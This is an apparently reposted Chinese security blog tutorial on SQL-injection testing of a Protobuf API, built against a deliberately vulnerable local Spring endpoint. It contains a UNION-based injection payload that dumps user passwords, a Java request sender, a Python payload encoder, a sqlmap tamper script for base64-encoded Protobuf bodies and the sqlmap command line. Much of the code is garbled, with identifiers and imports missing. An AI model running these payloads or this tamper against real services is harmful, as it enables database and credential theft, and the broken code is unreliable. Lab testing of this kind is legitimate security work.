2023年7月10日发(作者:)
ProtobufAPI安全测试启⽰ProtoBuf介绍protocol buffers 是⼀种语⾔⽆关、平台⽆关、可扩展的序列化结构数据的⽅法,它可⽤于(数据)通信协议、数据存储等。Protocol Buffers 是⼀种灵活,⾼效,⾃动化机制的结构数据序列化⽅法-可类⽐ XML,但是⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单。因此具有以下特点:语⾔⽆关、平台⽆关。即 ProtoBuf ⽀持 Java、C++、Python 等多种语⾔,⽀持多个平台⾼效。即⽐ XML 更⼩(3 ~ 10倍)、更快(20 ~ 100倍)、更为简单扩展性、兼容性好。你可以更新数据结构,⽽不影响和破坏原有的旧程序
Java API环境编写这⾥使⽤的环境是ProtoBuf 3.12.0
如果不想通过protoc的⼆进制⽂件来⽣成对应的Java⽂件,可以跟我⼀样通过Maven插件的⽅式来⾃⽣成Java⽂件。⾸先添加如下插件内容到⽂件中
getList的实现代码如下:package e;import ;import red;import mplate;import per;import e;import Set;import eption;import ist;import ;@Servicepublic class SearchByName { @Autowired private JdbcTemplate jdbcTemplate; public List
⾄此整个环境就搭建完成。
Burp安装Protobuf解析插件这⾥我⽤的是Burp的python插件,在捕获请求的时候就会解析对应的protobuf数据流并呈现对应的键值。设置好burp插件但是还是发现有些许错误导致插件安装失败,这⾥我将我遇到的坑也记录下来UnicodeDecodeError: 'unicodeescape' codec can't decode bytes in position 1-7: illegal Unicode character错误是在protobuf/python/google/protobuf/internal/⽂件的92⾏_SURROGATE_PATTERN = e(six.u(r'[ud800-udfff]'))我的解决⽅案就是将[ud800-udfff]改成[ud800-udfff],再然后就是burp安装插件的时候Error输出Error calling protoc:原因是没有找到你本地的protoc⼆进制⽂件在py⽂件中将所有的路径前⾯都加上绝对路径就可以了
⼿动解析Protobuf数据流但是不知道为何,我的ProtoBuf⼀直提⽰"Failed to parse input."。所以我这⾥就只好⾃⼰⼿动解析(说是⼿动解析,其实只是阅读了依葫芦画瓢写的)protoc的--decode_raw参数是可以将获取的数据流信息以格式化的⽅式呈现出来可以看到burp插件的关键代码中解析格式的源码如上图所⽰编写解析代码如下:import base64import subprocesstry: decoded_bytes = base64.b64decode("CgVhZG1pbg==") process = (['F:Program ', '--decode_raw'], stdin=, stdout=, stderr=) output, error = icate(decoded_bytes) print ("Result:n" + str(output))except KeyboardInterrupt: pass
编写注⼊脚本针对刚才的环境编写对应的数据包修改发送⼯具import fo;import okhttp3.*;import ption;import 64;public class TestMain { public static void main(String[] args) { r builder = lder(); e("admin' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #"); UserInfo userInfo = (); n("Send Payload:"+e()); //序列化 byte[] bytes = Array(); //Base64 加密 String encoded = oder().encodeToString(bytes); sendPost(encoded); } public static void sendPost(String payload) { OkHttpClient client = new OkHttpClient().newBuilder() .build(); MediaType mediaType = ("text/plain"); RequestBody body = (mediaType, payload); Request request = new r() .url("localhost:8080/search") .method("POST", body) .addHeader("Content-Type", "text/plain") .build(); try { Response response = l(request).execute(); n("Rs:"+().string()); }catch (IOException e){ tackTrace(); } }}成功列出数据库中所有的账号密码,这个过程唯⼀重要的就是需要⼈⼯⾃⼰解释Proto⽂件的格式syntax="proto2";package vuln;message Msg{ optional string username = 1;}然后执⾏ -I=. --python_out=. ./会⽣成⼀个msg_⽂件编写⼀个Python的Payload⽣成脚本:from base64 import b64encode, b64decodeimport msg_pb2import structdef encode(array): products = msg_() for arr in array: me = str(arr) serializedString = izeToString() serializedString = b64encode(serializedString).decode("utf-8") return serializedStringpayload = encode([('admin' and 1=2 union select 1,group_concat(id,";",username,";",password,"="),3,4 from user #')])print(payload) 编写Sqlmap的Tamper编写Tamper最主要的就是重写tamper函数,函数原型如下:def tamper(payload, **kwargs)这⾥的kwargs是⼀个字典,结构如下{'headers': {}, 'delimiter': '&', 'hints': {}}eaders就是⾃定义的请求头,⽽payload就是需要修改的payload。根据上个⼩节的python⽣成payload脚本修改,编写如下tamperfrom import kbfrom import PRIORITYimport base64import structimport msg_pb2__priority__ = Tdef dependencies(): passdef tamper(payload, **kwargs): retVal = payload if payload: # Instantiating objects products = msg_()
me = payload # Encoding the serialized string in base64 serializedString = izeToString() b64serialized = base64.b64encode(serializedString).decode("utf-8") retVal = b64serialized return retVal将编写好的tamper和proto⽣成的py⽂件⼀起放⼊sqlmap的tamper⽬录下并添加⼀个⽂本POST /search HTTP/1.1Host: localhost:8080Content-Type: application/x-protobufContent-Length: 128*然后运⾏sqlmappython -r E: --tamper=protobuf_base64 --level 3 --dbs
Reference
发布者:admin,转转请注明出处:http://www.yc00.com/xiaochengxu/1688932843a185004.html
评论列表(0条)